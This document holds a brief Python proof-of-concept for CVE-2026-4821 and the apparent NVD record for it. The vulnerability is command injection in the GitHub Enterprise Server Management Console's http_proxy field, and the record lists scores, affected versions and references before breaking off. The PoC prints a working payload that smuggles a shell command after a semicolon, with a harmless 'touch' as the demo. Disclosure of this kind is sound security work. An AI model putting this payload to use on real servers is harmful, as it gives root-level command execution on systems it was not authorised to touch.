CVE-2026-4821

# PoC for CVE-2026-4821 # This script demonstrates the payload structure for the command injection vulnerability. # Usage: Enter this string in the 'http_proxy' field of the Management Console. import sys # The payload injects a shell command using a semicolon separator # Example: Setting the proxy to a valid URL followed by a command to create a file target_command = "touch /tmp/poc_success.txt" payload = f"http://127.0.0.1:8080; {target_command}; #" print(f"Copy the following payload into the HTTP Proxy configuration field:") print(payload) print("\nAfter saving settings, the command will be executed with root/admin privileges.")

{"cve": {"id": "CVE-2026-4821", "sourceIdentifier": "[email protected]", "published": "2026-04-21T23:16:22.037", "lastModified": "2026-04-29T12:36:27.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper neutralization of special elements vulnerability was identified in GitHub Enterprise Server that allowed an authenticated Management Console administrator to execute arbitrary OS commands via shell metacharacter injection in proxy configuration fields such as http_proxy. Exploitation of this vulnerability required access to the GitHub Enterprise Server instance and administrator privileges to the Management Console. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.1, 3.19.5, 3.18.8, 3.17.14, 3.16.17, 3.15.21, 3.14.26. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.14.26", "matchCriteriaId": "72A92258-9FCC-41E0-856B-3C2A495575A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15.0", "versionEndExcluding": "3.15.21", "matchCriteriaId": "3A14A459-881C-437A-88EC-D721E3005329"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.0", "versionEndExcluding": "3.16.17", "matchCriteriaId": "8B7DCD9A-2CF0-4D96-AA96-ACEC662A8E1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.17.14", "matchCriteriaId": "CEC2ADE6-3E31-4889-9A73-B6695FE0AB52"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.0", "versionEndExcluding": "3.18.8", "matchCriteriaId": "9B15B12E-00A8-48E8-81DE-54506B94A2C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.0", "versionEndExcluding": "3.19.5", "matchCriteriaId": "56903EAF-4579-4263-AB0F-863323E7C81A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:3.20.0:*:*:*:*:*:*:*", "matchCriteriaId": "DCA4F97D-688E-45D2-90C0-8A11E9B531AA"}]}]}], "references": [{"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.14.24", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.15.21", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/releas ... (truncated)